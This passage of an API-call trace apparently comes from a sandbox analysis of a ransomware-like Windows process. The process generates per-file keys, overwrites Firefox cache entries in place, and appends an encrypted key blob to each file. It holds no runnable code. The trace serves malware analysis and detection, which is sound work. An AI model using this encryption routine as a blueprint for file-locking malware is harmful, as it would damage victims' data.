lpBuffer=0x30e5df0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5df0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.415] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.415] CloseHandle (hObject=0x1b80) returned 1 [0186.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e54a8 | out: pbBuffer=0x30e54a8) returned 1 [0186.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.418] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8A7DB491838C072FD03CFE63FDC27186914EF89D", dwFileAttributes=0x80) returned 1 [0186.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6738 [0186.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.419] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xd34, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xd34, lpOverlapped=0x0) returned 1 [0186.426] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.427] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f45c8*, nNumberOfBytesToWrite=0xd34, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f45c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd34, lpOverlapped=0x0) returned 1 [0186.427] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd34 [0186.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.427] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.428] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.428] CloseHandle (hObject=0x1b80) returned 1 [0186.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6738 | out: pbBuffer=0x30e6738) returned 1 [0186.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0186.429] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\89A941BEB3D674DAC6782F12BB674DD3A505FDC7", dwFileAttributes=0x80) returned 1 [0186.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6000 [0186.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.430] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0186.431] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.431] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4790*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4790*, lpNumberOfBytesWritten=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0186.431] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xefa [0186.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6738*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6738*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.432] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6738*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6738*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.432] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.432] CloseHandle (hObject=0x1b80) returned 1 [0186.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6948 | out: pbBuffer=0x30e6948) returned 1 [0186.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0186.434] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8857F3033ADD4EB28817638302A934EFC707BBDC", dwFileAttributes=0x80) returned 1 [0186.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6420 [0186.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.434] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e7068, nNumberOfBytesToRead=0x4c7f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c7f, lpOverlapped=0x0) returned 1 [0186.446] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-19583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.446] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x4c7f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c7f, lpOverlapped=0x0) returned 1 [0186.446] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c7f [0186.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6948*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6948*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.447] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6948*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6948*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.447] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.447] CloseHandle (hObject=0x1b80) returned 1 [0186.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6a50 | out: pbBuffer=0x30e6a50) returned 1 [0186.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.449] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\87BA6D21D6EF49198373FC83CFB347603D5EB25D", dwFileAttributes=0x80) returned 1 [0186.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e53a0 [0186.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.449] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0186.450] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.450] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0186.451] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0186.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6a50*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6a50*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.451] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6a50*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.452] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.452] CloseHandle (hObject=0x1b80) returned 1 [0186.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6d68 | out: pbBuffer=0x30e6d68) returned 1 [0186.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.453] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\87831840EB1AF4B7388E370BA94421C5897B8373", dwFileAttributes=0x80) returned 1 [0186.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5be0 [0186.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.454] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x5c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c8, lpOverlapped=0x0) returned 1 [0186.468] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.468] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x5c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c8, lpOverlapped=0x0) returned 1 [0186.469] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c8 [0186.469] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.469] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6d68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6d68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.469] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6d68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.470] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.470] CloseHandle (hObject=0x1b80) returned 1 [0186.473] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e53a0 | out: pbBuffer=0x30e53a0) returned 1 [0186.473] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0186.473] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\856994BF71BEE39831BB203883640C63D2A3EB13", dwFileAttributes=0x80) returned 1 [0186.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5190 [0186.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.474] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xb9e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xb9e, lpOverlapped=0x0) returned 1 [0186.484] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2974, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.484] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4430*, nNumberOfBytesToWrite=0xb9e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4430*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb9e, lpOverlapped=0x0) returned 1 [0186.485] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb9e [0186.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.485] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.485] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.486] CloseHandle (hObject=0x1b80) returned 1 [0186.487] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6840 | out: pbBuffer=0x30e6840) returned 1 [0186.487] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.487] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8527BE88ABE092F222F01F1FAA6BB09AA3C86E1C", dwFileAttributes=0x80) returned 1 [0186.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6000 [0186.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.488] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe2c, lpOverlapped=0x0) returned 1 [0186.494] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.494] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f46c0*, nNumberOfBytesToWrite=0xe2c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f46c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe2c, lpOverlapped=0x0) returned 1 [0186.495] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe2c [0186.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6840*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6840*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.495] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6840*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6840*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.496] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.496] CloseHandle (hObject=0x1b80) returned 1 [0186.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e56b8 | out: pbBuffer=0x30e56b8) returned 1 [0186.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.497] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8508C62554C6D8F07695E3BAE400B7D0F72355E7", dwFileAttributes=0x80) returned 1 [0186.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6d68 [0186.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.498] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x34fd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x34fd, lpOverlapped=0x0) returned 1 [0186.499] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-13565, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.499] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7068*, nNumberOfBytesToWrite=0x34fd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x34fd, lpOverlapped=0x0) returned 1 [0186.500] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x34fd [0186.500] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.500] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e56b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e56b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.500] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e56b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e56b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.500] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.501] CloseHandle (hObject=0x1b80) returned 1 [0186.502] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e58c8 | out: pbBuffer=0x30e58c8) returned 1 [0186.502] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.502] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\84A8D3B867016ADCD99F88B46CBFAC7D26697682", dwFileAttributes=0x80) returned 1 [0186.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5190 [0186.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.503] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0186.513] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.513] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0186.514] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0186.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e58c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e58c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.514] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e58c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e58c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.514] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.514] CloseHandle (hObject=0x1b80) returned 1 [0186.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6948 | out: pbBuffer=0x30e6948) returned 1 [0186.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0186.516] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\843D3BC96D3C0941B261A76B4201DD6AEE2FC6AF", dwFileAttributes=0x80) returned 1 [0186.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6108 [0186.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.517] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0186.518] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.518] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0186.518] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: 